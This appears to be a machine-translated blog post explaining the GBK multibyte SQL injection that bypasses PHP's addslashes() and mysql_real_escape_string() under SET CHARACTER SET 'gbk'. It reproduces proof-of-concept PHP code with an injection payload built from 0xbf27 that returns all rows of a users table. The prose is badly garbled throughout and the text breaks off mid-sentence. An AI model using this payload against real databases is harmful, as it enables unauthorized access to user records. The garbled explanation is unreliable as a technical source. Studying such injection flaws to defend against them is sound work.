Actually this thing domestic minority hacker already knew, but has not shared the announcement. Some people are not willing to share, rather rottenly in the place, other is uses for to seek money.
This crack in 2006 overseas is used for most early when discusses the database character repertoire to suppose is GBK, 0xbf27 is in itself not an effective GBK character, but after the addslashes() transformation

Becomes 0xbf5c27, front 0xbf5c is the effective GBK character, therefore 0xbf5c27 will be treated as character 0xbf5c and single quotes processes, finally the crack will touch

Sent.

     mysql_real_escape_string() also has the same problem, but compares addslashes() it to consider has processed with any character repertoire, therefore may use

Should the character repertoire processes the character. Has two change default character repertoire method in MySQL.

Method one:

Changes mysql configuration files my.cnf

CODE:

[client]
default-character-set=GBK
Method two:
When establishment connection uses
CODE:
SET CHARACTER SET 'GBK'
Example: mysql_query (“SET CHARACTER SET 'gbk'”, $c);
The question is the method two when changes the character repertoire mysql_real_escape_string() did not know that uses default character repertoire processing, thus creates with the addslashes() same crack
Below comes from http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html's test code
<? php

$c = mysql_connect (“localhost”, “user”, “pass”);
mysql_select_db (“database”, $c);

// change our character set
mysql_query (“SET CHARACTER SET 'gbk'”, $c);

// create demo table
mysql_query (“CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'”, $c);
mysql_query (“INSERT INTO users VALUES ('foo', 'bar'), ('baz', 'test')”, $c);

// now the exploit code
$_POST ['username'] = chr(0xbf). chr(0x27). 'OR username = username/*';
$_POST ['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string ($_POST ['username'], $c);
$passwd = mysql_real_escape_string ($_POST ['password'], $c);

$sql = “SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}' “;
$res = mysql_query ($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

? >
Looks over the above two kind of triggering crack's key is addslashes() when the Mysql disposition is GBK may trigger the crack, but mysql_real_escape_string() is in did not know
Said that the character repertoire in the situation has the crack with default character repertoire processing.
       Under below analysis the domestic recent crack produces again reason.
The question appears in some character conversion function, for example mb_convert_encoding() and iconv() and so on.
The issue after the 80sec showing said that 0xc127 and so on some characters again is processed by addslashes() 0xc15c27, also passes through some character conversion function to become 0×808027, but causes the process